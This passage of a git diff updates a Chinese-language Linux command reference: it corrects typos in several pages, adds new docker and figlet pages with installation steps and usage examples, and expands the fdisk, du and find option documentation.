+[ 1.481139] feb80000.serial: ttyS5 at MMIO 0xfeb80000 (irq = 73, base_baud = 1500000) is a 16550A
+[ 1.513541] vcc_3v3_s0: supplied by vcc5v0_sys
+```
diff --git a/command/dnf.md b/command/dnf.md
index c016b383caf..b2b5cb0b71f 100644
--- a/command/dnf.md
+++ b/command/dnf.md
@@ -7,9 +7,9 @@ dnf
**DNF** 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近,它取代了yum,正式成为 Fedora 22 的包管理器。
-DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。你可以在这里获得关于 DNF 的更多知识:《 DNF 代替 YUM ,你所不知道的缘由》
+DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。
-DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日。 这一版本的额 DNF 包管理器(包括在他之前的所有版本) 都大部分采用 Python 编写,发行许可为GPL v2.
+DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日。 这一版本的 DNF 包管理器(包括在他之前的所有版本) 都大部分采用 Python 编写,发行许可为GPL v2.
### 安装 DNF 包管理器
diff --git a/command/docker.md b/command/docker.md
new file mode 100644
index 00000000000..5e293866f5e
--- /dev/null
+++ b/command/docker.md
@@ -0,0 +1,352 @@
+docker
+===
+
+容器化技术,可以将应用程序及其依赖项打包到一个可移植的容器中,使其可以在不同的环境中运行
+
+## 补充说明
+
+Docker 容器可以快速部署、可移植、可扩展,并且可以在不同的平台上运行。Docker 可以帮助开发人员和运维人员更轻松地构建、发布和管理应用程序。
+
+## 安装
+
+在 Linux 中输入以下命令安装 Docker。
+
+```bash
+# CentOS 参考:https://blog.csdn.net/zhaoyuanh/article/details/126610347
+#如果系统里有旧版本docker的话需要先行删除:
+sudo yum remove docker \
+ docker-client \
+ docker-client-latest \
+ docker-common \
+ docker-latest \
+ docker-latest-logrotate \
+ docker-logrotate \
+ docker-engine
+
+#设置仓库:
+yum install -y yum-utils
+
+#添加Docker仓库:
+yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
+
+#安装Docker引擎(默认最新):
+yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin
+
+#启动docker:
+sudo systemctl start docker
+
+```
+
+```bash
+# Docker官方提供的快速安装脚本 https://github.com/docker/docker-install
+# 不建议在生产环境中使用
+curl -fsSL https://get.docker.com -o get-docker.sh
+sudo sh ./get-docker.sh --dry-run
+
+# 使用systemctl设置开机启动
+sudo systemctl enable docker.service
+sudo systemctl enable containerd.service
+```
+
+## 语法
+
+```shell
+docker create [options] IMAGE
+```
+
+## 选项参数
+
+```shell
+attach 将本地标准输入、输出和错误流附加到正在运行的容器
+build 从 Dockerfile 构建镜像
+commit 从容器的更改创建新镜像
+cp 在容器和本地文件系统之间复制文件/文件夹
+create 创建一个新容器
+diff 检查容器文件系统上文件或目录的更改
+events 从服务器获取实时事件
+exec 在正在运行的容器中运行命令
+export 将容器的文件系统导出为 tar 存档
+history 显示镜像的历史
+images 列出镜像
+import 从 tarball 导入内容以创建文件系统映像
+info 显示系统范围的信息
+inspect 返回有关 Docker 对象的低级信息
+kill 杀死一个或多个正在运行的容器
+load 从 tar 存档或 STDIN 加载镜像
+login 登录到 Docker 注册表
+logout 从 Docker 注册表中注销
+logs 获取容器的日志
+pause 暂停一个或多个容器内的所有进程
+port 列出容器的端口映射或特定映射
+ps 列出容器
+pull 从注册表中提取镜像或存储库
+push 将镜像或存储库推送到注册表
+rename 重命名容器
+restart 重启一个或多个容器
+rm 移除一个或多个容器
+rmi 移除一张或多张镜像
+run 在新容器中运行命令
+save 将一个或多个镜像保存到 tar 存档(默认流式传输到 STDOUT)
+search 在 Docker Hub 中搜索镜像
+start 启动一个或多个停止的容器
+stats 显示容器资源使用统计的实时流
+stop 停止一个或多个正在运行的容器
+tag 创建一个引用 SOURCE_IMAGE 的标记 TARGET_IMAGE
+top 显示容器的运行进程
+unpause 取消暂停一个或多个容器中的所有进程
+update 更新一个或多个容器的配置
+version 显示 Docker 版本信息
+wait 阻塞直到一个或多个容器停止,然后打印它们的退出代码
+
+<环境参数>
+ --add-host list # 添加自定义主机到 IP 映射 (host:ip)
+-a, --attach list # 连接到 STDIN、STDOUT 或 STDERR
+ --blkio-weight uint16 # 块 IO(相对权重),介于 10 和 1000 之间,或 0 禁用(默认 0)
+ --blkio-weight-device list # 块 IO 权重(相对设备权重)(默认 [])
+ --cap-add list # 添加 Linux 功能
+ --cap-drop list # 放弃 Linux 功能
+ --cgroup-parent string # 容器的可选父 cgroup
+ --cgroupns string # 要使用的 Cgroup 命名空间(主机|私有)
+ # 'host': 在 Docker 主机的 cgroup 命名空间中运行容器
+ # 'private': 在自己的私有 cgroup 命名空间中运行容器
+ # '': 使用由守护进程上的
+ # default-cgroupns-mode 选项配置的 cgroup 命名空间(默认)
+ --cidfile string # 将容器 ID 写入文件
+ --cpu-period int # 限制 CPU CFS(完全公平调度器)周期
+ --cpu-quota int # 限制 CPU CFS(完全公平调度器)配额
+ --cpu-rt-period int # 以微秒为单位限制 CPU 实时周期
+ --cpu-rt-runtime int # 以微秒为单位限制 CPU 实时运行时间
+-c, --cpu-shares int # CPU 份额(相对权重)
+ --cpus decimal # CPU 数量
+ --cpuset-cpus string # 允许执行的 CPU (0-3, 0,1)
+ --cpuset-mems string # 允许执行的 MEM (0-3, 0,1)
+ --device list # 将主机设备添加到容器
+ --device-cgroup-rule list # 将规则添加到 cgroup 允许的设备列表
+ --device-read-bps list # 限制设备的读取速率(每秒字节数)(默认 [])
+ --device-read-iops list # 限制设备的读取速率(每秒 IO)(默认 [])
+ --device-write-bps list # 限制设备的写入速率(每秒字节数)(默认 [])
+ --device-write-iops list # 限制设备的写入速率(每秒 IO)(默认 [])
+ --disable-content-trust # 跳过镜像验证(默认为 true)
+ --dns list # 设置自定义 DNS 服务器
+ --dns-option list # 设置 DNS 选项
+ --dns-search list # 设置自定义 DNS 搜索域
+ --domainname string # 容器 NIS 域名
+ --entrypoint string # 覆盖镜像的默认入口点
+-e, --env list # 设置环境变量
+ --env-file list # 读入环境变量文件
+ --expose list # 公开一个端口或一系列端口
+ --gpus gpu-request # 要添加到容器中的 GPU 设备(“全部”以传递所有 GPU)
+ --group-add list # 添加其他组以加入
+ --health-cmd string # 运行以检查运行状况的命令
+ --health-interval duration # 运行检查之间的时间 (ms|s|m|h) (默认 0s)
+ --health-retries int # 需要报告不健康的连续失败
+ --health-start-period duration # 开始健康重试倒计时之前容器初始化的开始时间(ms|s|m|h)(默认 0s)
+ --health-timeout duration # 允许运行一项检查的最长时间 (ms|s|m|h) (默认 0s)
+ --help # 打印使用
+-h, --hostname string # 容器主机名
+ --init # 在容器内运行一个 init 来转发信号并收获进程
+-i, --interactive # 即使没有连接,也保持 STDIN 打开
+ --ip string # IPv4 地址(例如 172.30.100.104)
+ --ip6 string # IPv6 地址(例如,2001:db8::33)
+ --ipc string # 要使用的 IPC 模式
+ --isolation string # 容器隔离技术
+ --kernel-memory bytes # 内核内存限制
+-l, --label list # 在容器上设置元数据
+ --label-file list # 读入以行分隔的标签文件
+ --link list # 添加到另一个容器的链接
+ --link-local-ip list # 容器 IPv4/IPv6 链路本地地址
+ --log-driver string # 容器的日志记录驱动程序
+ --log-opt list # 日志驱动程序选项
+ --mac-address string # 容器 MAC 地址(例如 92:d0:c6:0a:29:33)
+-m, --memory bytes # 内存限制
+ --memory-reservation bytes # 内存软限制
+ --memory-swap bytes # 交换限制等于内存加上交换:'-1' 启用无限交换
+ --memory-swappiness int # 调整容器内存交换(0 到 100)(默认 -1)
+ --mount mount # 将文件系统挂载附加到容器
+ --name string # 为容器分配名称
+ --network network # 将容器连接到网络
+ --network-alias list # 为容器添加网络范围的别名
+ --no-healthcheck # 禁用任何容器指定的 HEALTHCHECK
+ --oom-kill-disable # 禁用 OOM 杀手
+ --oom-score-adj int # 调整主机的 OOM 首选项(-1000 到 1000)
+ --pid string # 要使用的 PID 命名空间
+ --pids-limit int # 调整容器 pids 限制(设置 -1 表示无限制)
+ --platform string # 如果服务器支持多平台,则设置平台
+ --privileged # 授予此容器扩展权限
+-p, --publish list # 将容器的端口发布到主机
+-P, --publish-all # 将所有暴露的端口发布到随机端口
+ --pull string # 创建前拉取镜像("always"|"missing"|"never")(默认"missing")
+ --read-only # 将容器的根文件系统挂载为只读
+ --restart string # 容器退出时应用的重启策略(默认“否”)
+ --rm # 容器退出时自动移除
+ --runtime string # 用于此容器的运行时
+ --security-opt list # 安全选项
+ --shm-size bytes # /dev/shm 的大小
+ --stop-signal string # 停止容器的信号(默认“SIGTERM”)
+ --stop-timeout int # 停止容器的超时(以秒为单位)
+ --storage-opt list # 容器的存储驱动程序选项
+ --sysctl map # Sysctl 选项(默认 map[])
+ --tmpfs list # 挂载 tmpfs 目录
+-t, --tty # 分配一个伪 TTY
+ --ulimit ulimit # ulimit 选项(默认 [])
+-u, --user string # 用户名或 UID(格式:[:])
+ --userns string # 要使用的用户命名空间
+ --uts string # 要使用的 UTS 命名空间
+-v, --volume list # 绑定挂载卷
+ --volume-driver string # 容器的可选卷驱动程序
+ --volumes-from list # 从指定容器挂载卷
+-w, --workdir string # 容器内的工作目录
+```
+
+## 实例
+
+介绍几个常用场景:Docker Hub镜像市场相关,镜像仓库命令。
+
+1、下载docker hub镜像市场中的镜像。
+
+```bash
+docker pull user/image
+```
+
+2、在 docker hub 中搜索镜像。
+
+```bash
+# 注意需要下载镜像才能使用
+docker search search_word
+```
+
+3、向 docker hub 进行身份验证。
+
+```bash
+docker login
+```
+
+4、将镜像上传到 docker hub。
+
+```bash
+docker push user/image
+```
+
+
+## docker network
+## 语法
+
+```
+docker network [COMMAND]
+```
+
+## COMMAND
+
+### docker network connect
+将容器连接到网络。您可以按名称或ID连接容器。连接后,容器可以与同一网络中的其他容器通信。
+
+```shell
+docker network connect [OPTIONS] NETWORK CONTAINER
+```
+
+#### 选项参数
+
+```shell
+--alias 为容器添加网络范围的别名
+--driver-opt 网络的驱动程序选项
+--ip IPv4地址(例如172.30.100.104)
+--ip6 IPv6地址(例如2001:db8 :: 33)
+--link 将链接添加到另一个容器(建议不用,后期应该会删除的)
+--link-local-ip 为容器添加本地链接地址
+```
+
+### docker network disconnect
+断开容器与网络的连接
+
+```shell
+docker network disconnect [OPTIONS] NETWORK CONTAINER
+```
+
+#### 选项参数
+
+```shell
+-f,--force 强制容器断开网络连接
+```
+
+### docker network create
+创建一个新的网络
+
+```shell
+docker network create [OPTIONS] NETWORK
+```
+
+#### 选项参数
+
+```shell
+--attachable API 1.25+启用手动容器附件
+--aux-address 网络驱动程序使用的辅助IPv4或IPv6地址
+--config-from API 1.30+从中复制配置的网络
+--config-only API 1.30+创建仅配置网络
+-d,--driver bridge 驱动程序来管理网络
+--gateway 主子网的IPv4或IPv6网关
+--ingress API 1.29+创建群集路由网状网络
+--internal 限制外部访问网络
+--ip-range 从子范围分配容器ip
+--ipam-driver IP地址管理驱动程序
+--ipam-opt 设置IPAM驱动程序特定选项
+--ipv6 启用IPv6网络
+--label 在网络上设置元数据
+-o,--opt 设置驱动程序特定选项
+--scope API 1.30+控制网络范围
+--subnet 代表网段的CIDR格式的子网
+```
+
+### docker network inspect
+返回有关一个或多个网络的信息。默认情况下,此命令将所有结果呈现在JSON对象中。
+
+```shell
+docker network inspect [OPTIONS] NETWORK [NETWORK...]
+```
+
+#### 选项参数
+
+```shell
+-f,--format 使用给定的Go模板格式化输出
+-v,--verbose 详细输出以进行诊断
+```
+
+### docker network ls
+列出引擎daemon知道的所有网络。这包括跨群集中多个主机的网络
+
+```shell
+docker network ls [OPTIONS]
+```
+
+#### 选项参数
+
+```shell
+-f,--filter 提供过滤器值(例如"driver = bridge")
+--format 使用Go模板的精美印刷网络
+--no-trunc 不要截断输出
+-q,--quiet 仅显示网络ID
+```
+
+### docker network prune
+删除所有未使用的网络。未使用的网络是未被任何正在使用的容器引用的网络()。
+
+```shell
+docker network prune [OPTIONS]
+```
+
+#### 选项参数
+
+```shell
+--filter 提供过滤器值(例如'until =')
+-f,--force 不提示确认
+```
+### docker network rm
+按名称或标识符删除一个或多个网络。要删除网络,必须首先断开连接到它的所有容器。
+
+```shell
+docker network rm NETWORKID [NETWORKID...]
+```
+
+## 官网
+
+更多安装使用方法可以访问学习:https://wangchujiang.com/reference/docs/docker.html
+由上海 屠天煜编写
diff --git a/command/du.md b/command/du.md
index a37ba58d3da..7a47fcd0831 100644
--- a/command/du.md
+++ b/command/du.md
@@ -21,6 +21,7 @@ du [选项][文件]
-b, --bytes 显示目录或文件大小时,以byte为单位。
-c, --total 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。
-D, --dereference-args 显示指定符号链接的源文件大小。
+-d, --max-depth=N 限制文件夹深度
-H, --si 与-h参数相同,但是K,M,G是以1000为换算单位。
-h, --human-readable 以K,M,G为单位,提高信息的可读性。
-k, --kilobytes 以KB(1024bytes)为单位输出。
diff --git a/command/ethtool.md b/command/ethtool.md
index 9f7bd501695..9692706d49a 100644
--- a/command/ethtool.md
+++ b/command/ethtool.md
@@ -76,7 +76,7 @@ Ethtool命令显示的信息来源于网卡驱动层,即TCP/ip协议的链路
查看机器上网卡的速度:百兆还是千兆,请输入:
```shell
-ethool eth0
+ethtool eth0
```
操作完毕后,输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX,请输入:
diff --git a/command/exit.md b/command/exit.md
index 5ba8a4ef490..7c48de8b314 100644
--- a/command/exit.md
+++ b/command/exit.md
@@ -72,6 +72,6 @@ fi
### 注意
-1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
diff --git a/command/expr.md b/command/expr.md
index 3240bce1e9d..78cf62d9a70 100644
--- a/command/expr.md
+++ b/command/expr.md
@@ -13,7 +13,7 @@ expr的常用运算符:
- 减法运算:`-`
- 乘法运算:`\*`
- 除法运算:`/`
-- 求摸(取余)运算:`%`
+- 取模(取余)运算:`%`
### 语法
diff --git a/command/fdisk.md b/command/fdisk.md
index 3bce73b1f29..ca678e90394 100644
--- a/command/fdisk.md
+++ b/command/fdisk.md
@@ -10,20 +10,37 @@ fdisk
### 语法
```shell
-fdisk(选项)(参数)
+fdisk [选项] <磁盘> 更改分区表
+fdisk [选项] -l [<磁盘>...] 列出分区表
```
### 选项
```shell
- -b <大小> 扇区大小(512、1024、2048或4096)
- -c[=<模式>] 兼容模式:“dos”或“nondos”(默认)
- -h 打印此帮助文本
- -u[=<单位>] 显示单位:“cylinders”(柱面)或“sectors”(扇区,默认)
- -v 打印程序版本
- -C <数字> 指定柱面数
- -H <数字> 指定磁头数
- -S <数字> 指定每个磁道的扇区数
+
+选项:
+ -b, --sectors-size <大小> 显示扇区计数和大小
+ -B, --protect-boot 创建新标签时不要擦除 bootbits
+ -c, --compatibility[=<模式>] 模式,为“dos”或“nondos”(默认)
+ -L, --color[=<时机>] 彩色输出(auto, always 或 never)默认启用颜色
+ -l, --list 显示分区并退出
+ -x, --list-details 类似 --list 但提供更多细节
+ -n, --noauto-pt 不要在空设备上创建默认分区表
+ -o, --output <列表> 输出列
+ -t, --type <类型> 只识别指定的分区表类型
+ -u, --units[=<单位>] 显示单位,“cylinders”柱面或“sectors”扇区(默认)
+ -s, --getsz 以 512-字节扇区显示设备大小[已废弃]
+ -b, --bytes 以字节为单位而非易读的格式来打印 SIZE
+ --lock[=<模式>] 使用独占设备锁(yes、no 或 nonblock)
+ -w, --wipe <模式> 擦除签名(auto, always 或 never)
+ -W, --wipe-partitions <模式> 擦除新分区的签名(auto, always 或 never)
+
+ -C, --cylinders <数字> 指定柱面数
+ -H, --heads <数字> 指定磁头数
+ -S, --sectors <数字> 指定每条磁道的扇区数
+
+ -h, --help 显示此帮助
+ -V, --version 显示版本
```
### 参数
diff --git a/command/fgrep.md b/command/fgrep.md
index 5bbb737d87e..15bb38859c7 100644
--- a/command/fgrep.md
+++ b/command/fgrep.md
@@ -9,21 +9,21 @@ fgrep
fgrep 命令于 grep 和 egrep 命令不同,因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。`$, *, [, |, (, )`和`\`等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式,但它们在 grep 和 egrep 命令中解释为正则表达式。因为这些字符对于 shell 有特定的含义,完整的字符串应该加上单引号`‘ ... ’`。. 如果没有指定文件, fgrep 命令假定标准输入。一般,找到的每行都复制到标准输出中去。如果不止一个输入文件,则在找到的每行前打印文件名。
-1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。
-2. 每行限制在 2048 个字节。
-3. 段落(-p 标志下)目前限制在5000个字符的长度。
-4. 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。
-5. 输入行不能包含空字符。
-6. 输入文件应该以换行字符结尾。
-7. 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。
+1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。
+2. 每行限制在 2048 个字节。
+3. 段落(-p 标志下)目前限制在5000个字符的长度。
+4. 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。
+5. 输入行不能包含空字符。
+6. 输入文件应该以换行字符结尾。
+7. 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。
-### 语法
+### 语法
```shell
fgrep(选项)(参数)
```
-### 选项
+### 选项
```shell
-b:在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。
diff --git a/command/figlet.md b/command/figlet.md
new file mode 100644
index 00000000000..00934f2c03b
--- /dev/null
+++ b/command/figlet.md
@@ -0,0 +1,160 @@
+figlet
+===
+
+字符串转为 “字画符”。
+
+## 补充说明
+
+将普通字符串转为有简单字符拼接而成的 “字画符”。
+
+## 安装
+
+Ubuntu 等系统
+
+```shell
+apt-get update
+apt-get install -y figlet
+```
+
+CentOS 等系统
+
+```shell
+yum install epel-release
+yum install -y figlet
+```
+
+## 语法
+
+```shell
+figlet [ message ] [ -option ]
+```
+
+## 参数
+
+message 是需要转换的字符串。
+当没有输入 message 时,会读取标准输入,因此可以配合管道符等使用。
+
+## 选项
+
+```shell
+-w 限制输出宽度,默认为 '80'
+-c 居中显示
+-f 指定字体,默认为 'standard'
+-k 保留字符之间的空隙
+-t 对齐宽度到当前终端的宽度,这个参数优先级比 -w 高
+-v 显示版本信息
+```
+
+## 返回值
+
+字符串,由简单字符拼接而成的 “字画符”。
+
+## 示例
+
+### 从参数输入
+
+```shell
+figlet 'Hello, World!'
+```
+
+```bash
+ _ _ _ _ __ __ _ _ _
+| | | | ___| | | ___ \ \ / /__ _ __| | __| | |
+| |_| |/ _ \ | |/ _ \ \ \ /\ / / _ \| '__| |/ _` | |
+| _ | __/ | | (_) | \ V V / (_) | | | | (_| |_|
+|_| |_|\___|_|_|\___( ) \_/\_/ \___/|_| |_|\__,_(_)
+```
+
+### 配合管道符输入
+
+```shell
+echo 'Hello, World!' | figlet
+```
+
+```bash
+ _ _ _ _ __ __ _ _ _
+| | | | ___| | | ___ \ \ / /__ _ __| | __| | |
+| |_| |/ _ \ | |/ _ \ \ \ /\ / / _ \| '__| |/ _` | |
+| _ | __/ | | (_) | \ V V / (_) | | | | (_| |_|
+|_| |_|\___|_|_|\___( ) \_/\_/ \___/|_| |_|\__,_(_)
+```
+
+### 限制宽度
+
+```shell
+figlet 'Hello, World!' -w 40
+```
+
+```bash
+ _ _ _ _
+| | | | ___| | | ___
+| |_| |/ _ \ | |/ _ \
+| _ | __/ | | (_) |
+|_| |_|\___|_|_|\___( )
+ |/
+__ __ _ _ _
+\ \ / /__ _ __| | __| | |
+ \ \ /\ / / _ \| '__| |/ _` | |
+ \ V V / (_) | | | | (_| |_|
+ \_/\_/ \___/|_| |_|\__,_(_)
+```
+
+### 居中显示
+
+```shell
+figlet 'Hello, World!' -w 40 -c
+```
+
+```bash
+ _ _ _ _
+ | | | | ___| | | ___
+ | |_| |/ _ \ | |/ _ \
+ | _ | __/ | | (_) |
+ |_| |_|\___|_|_|\___( )
+ |/
+ __ __ _ _ _
+ \ \ / /__ _ __| | __| | |
+ \ \ /\ / / _ \| '__| |/ _` | |
+ \ V V / (_) | | | | (_| |_|
+ \_/\_/ \___/|_| |_|\__,_(_)
+```
+
+### 指定字体
+
+```shell
+figlet 'Hello, World!' -w 40 -c -f slant
+```
+
+```bash
+ __ __ ____
+ / / / /__ / / /___
+ / /_/ / _ \/ / / __ \
+ / __ / __/ / / /_/ /
+ /_/ /_/\___/_/_/\____( )
+ |/
+ _ __ __ ____
+ | | / /___ _____/ /___/ / /
+ | | /| / / __ \/ ___/ / __ / /
+ | |/ |/ / /_/ / / / / /_/ /_/
+ |__/|__/\____/_/ /_/\__,_(_)
+```
+
+### 保留字符之间的空隙
+
+```shell
+figlet 'Hello, World!' -w 40 -c -k
+```
+
+```bash
+ _ _ _ _
+ | | | | ___ | || | ___
+ | |_| | / _ \| || | / _ \
+ | _ || __/| || || (_) |_
+ |_| |_| \___||_||_| \___/( )
+ |/
+ __ __ _ _ _
+ \ \ / /___ _ __ | | __| || |
+ \ \ /\ / // _ \ | '__|| | / _` || |
+ \ V V /| (_) || | | || (_| ||_|
+ \_/\_/ \___/ |_| |_| \__,_|(_)
+```
diff --git a/command/find.md b/command/find.md
index 32c62653af0..96612ab8420 100644
--- a/command/find.md
+++ b/command/find.md
@@ -3,18 +3,43 @@ find
在指定目录下查找文件
+## 解释
+
+从每个指定的起始点 (目录) 开始,搜索以该点为根的目录树,并按照运算符优先级规则**从左至右**评估给定的表达式,直到结果确定,此时`find`会继续处理下一个文件名。
+
## 补充说明
-**find命令** 用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。
+本文列出的选项指的是**表达式列表中的选项**。这些选项控制了`find`的行为,需在**最后一个路径名之后**立即指定。
-### 语法
+五个真实选项: `-H、-L、-P、-D 和 -O`。如果出现,**必须位于第一个路径名之前**。关于这部分内容本文不做描述,具体内容可参考[man7.org中的find](https://man7.org/linux/man-pages/man1/find.1.html#top_of_page)
+如果使用该命令时,不设置任何参数,则`find`命令将在当前目录下查找子目录与文件,并且将查找到的子目录和文件全部进行显示。等效于以下命令:
```shell
-find(选项)(参数)
+find . -print
```
-### 选项
+## 语法
+
+```shell
+find [-H] [-L] [-P] [-D debugopts] [-Olevel] [起始点...] [表达式]
+```
+忽略真实选项后 (更为常见):
+```shell
+find [起始点...] [表达式]
+```
+
+## 表达式分类
+起始点(列表)之后的部分是表达式。这是一种**查询规范**,描述了我们如何匹配文件(返回**真**或者**假**)以及对匹配到的文件进行何种操作。表达式由一系列元素组成:
+- 测试(Tests):测试返回一个真或假值,通常基于我们正在考虑的文件的某个属性。例如,`-empty`测试仅在当前文件为空时为真。
+- 操作(Actions):操作具有副作用(例如在标准输出上打印内容),并返回真或假,通常基于它们是否成功。例如,`-print`操作会在标准输出上打印当前文件的名称。
+- 全局(Global):全局选项影响命令行中任何部分指定的测试和操作的执行。全局选项始终返回真值。例如,`-depth`选项使find以深度优先的顺序遍历文件系统。
+- 位置(Positional):位置选项仅影响其后的测试或操作。位置选项始终返回真值。例如,`-regextype`选项是位置选项,用于指定命令行中后续正则表达式所使用的正则表达式方言。
+- 操作符(Operators):运算符将表达式中的其他项连接起来。例如,它们包括`-o`(表示逻辑或)和`-a`(表示逻辑与)。如果缺少运算符,则默认使用`-a`。
+
+## 表达式选项
+
+### 测试选项
```shell
-amin<分钟>:查找在指定时间曾被存取过的文件或目录,单位以分钟计算;
-anewer<参考文件或目录>:查找其存取时间较指定文件或目录的存取时间更接近现在的文件或目录;
@@ -22,65 +47,379 @@ find(选项)(参数)
-cmin<分钟>:查找在指定时间之时被更改过的文件或目录;
-cnewer<参考文件或目录>查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录;
-ctime<24小时数>:查找在指定时间之时被更改的文件或目录,单位以24小时计算;
--daystart:从本日开始计算时间;
--depth:从指定目录下最深层的子目录开始查找;
-empty:寻找文件大小为0 Byte的文件,或目录下没有任何子目录或文件的空目录;
--exec<执行指令>:假设find指令的回传值为True,就执行该指令;
+-executable 匹配当前用户可执行的文件和可搜索的目录。
-false:将find指令的回传值皆设为False;
--fls<列表文件>:此参数的效果和指定“-ls”参数类似,但会把结果保存为指定的列表文件;
--follow:排除符号连接;
--fprint<列表文件>:此参数的效果和指定“-print”参数类似,但会把结果保存成指定的列表文件;
--fprint0<列表文件>:此参数的效果和指定“-print0”参数类似,但会把结果保存成指定的列表文件;
--fprintf<列表文件><输出格式>:此参数的效果和指定“-printf”参数类似,但会把结果保存成指定的列表文件;
-fstype<文件系统类型>:只寻找该文件系统类型下的文件或目录;
-gid<群组识别码>:查找符合指定之群组识别码的文件或目录;
-group<群组名称>:查找符合指定之群组名称的文件或目录;
--help或--help:在线帮助;
-ilname<范本样式>:此参数的效果和指定“-lname”参数类似,但忽略字符大小写的差别;
-iname<范本样式>:此参数的效果和指定“-name”参数类似,但忽略字符大小写的差别;
-inum:查找符合指定的inode编号的文件或目录;
-ipath<范本样式>:此参数的效果和指定“-path”参数类似,但忽略字符大小写的差别;
-iregex<范本样式>:此参数的效果和指定“-regexe”参数类似,但忽略字符大小写的差别;
+-iwholename 模式参见`-ipath`。此选项的可移植性较`-ipath`差。
-links<连接数目>:查找符合指定的硬连接数目的文件或目录;
-lname<范本样式>:指定字符串作为寻找符号连接的范本样式;
--ls:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出;
--maxdepth<目录层级>:设置最大目录层级;
--mindepth<目录层级>:设置最小目录层级;
-mmin<分钟>:查找在指定时间曾被更改过的文件或目录,单位以分钟计算;
--mount:此参数的效果和指定“-xdev”相同;
-mtime<24小时数>:查找在指定时间曾被更改过的文件或目录,单位以24小时计算;
-name<范本样式>:指定字符串作为寻找文件或目录的范本样式;
-newer<参考文件或目录>:查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录;
+-newerXY<引用>:如果正在考虑的文件的时间戳 X 比文件引用的时间戳 Y 更新则成功。
-nogroup:找出不属于本地主机群组识别码的文件或目录;
--noleaf:不去考虑目录至少需拥有两个硬连接存在;
-nouser:找出不属于本地主机用户识别码的文件或目录;
--ok<执行指令>:此参数的效果和指定“-exec”类似,但在执行指令之前会先询问用户,若回答“y”或“Y”,则放弃执行命令;
-path<范本样式>:指定字符串作为寻找目录的范本样式;
-perm<权限数值>:查找符合指定的权限数值的文件或目录;
--print:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为每列一个名称,每个名称前皆有“./”字符串;
--print0:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行;
--printf<输出格式>:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式可以自行指定;
--prune:不寻找字符串作为寻找文件或目录的范本样式;
+-readable:匹配当前用户可读的文件
-regex<范本样式>:指定字符串作为寻找文件或目录的范本样式;
+-samefile 名称 文件与名称指向相同的 inode。
-size<文件大小>:查找符合指定的文件大小的文件;
--true:将find指令的回传值皆设为True;
-type<文件类型>:只寻找符合指定的文件类型的文件;
-uid<用户识别码>:查找符合指定的用户识别码的文件或目录;
-used<日数>:查找文件或目录被更改之后在指定时间曾被存取过的文件或目录,单位以日计算;
-user<拥有者名称>:查找符和指定的拥有者名称的文件或目录;
--version或——version:显示版本信息;
--xdev:将范围局限在先行的文件系统中;
+-writable:匹配当前用户可写入的文件。
-xtype<文件类型>:此参数的效果和指定“-type”参数类似,差别在于它针对符号连接检查。
+-context<表达式>:仅限 SELinux。文件的安全上下文与全局模式匹配
```
-### 参数
+### 操作选项
+
+#### -delete 删除文件或目录。
+> :warning:警告:find 命令会将命令行作为表达式进行解析,因此将`-delete`放在首位会将指定的起始点下的**所有内容删除**。且`-delete`操作无法删除一个目录,除非它是空的。
+
+##### *无参数*
+
+##### 描述
+如果删除成功则返回真。若删除失败,将显示错误消息,并且 find 最终退出时的状态码将为非零。
+
+##### 相关选项
+- **-depth**:在命令行中使用`-delete`操作会自动启用`-depth`选项。为了避免意外情况,通常最好在早期的**Tests选项**中**明确使用**`-depth`选项。
+- **-prune**:由于`-depth`会使`-prune`失效,因此`-delete`操作无法与`-prune`有效结合使用。通常,用户可能希望在实际删除操作前,先用带有`-print`的查找命令行进行测试,以确保在添加`-delete`进行实际删除时不会出现意外结果。
+- **-ignore_readdir_race**:`-delete`与此选项一起使用时,find 会忽略自父目录读取以来文件已消失的情况下`-delete`操作的错误:它不会输出错误诊断,不会将退出代码更改为非零,并且`-delete`操作的返回代码将为真。
+
+#### -exec 执行命令
+
+> :warning:警告:使用`-exec`操作存在不可避免的安全问题,应改用`-execdir`选项。
+
+##### 参数
+`command ;` 或 `command {} +`
+
+##### 描述
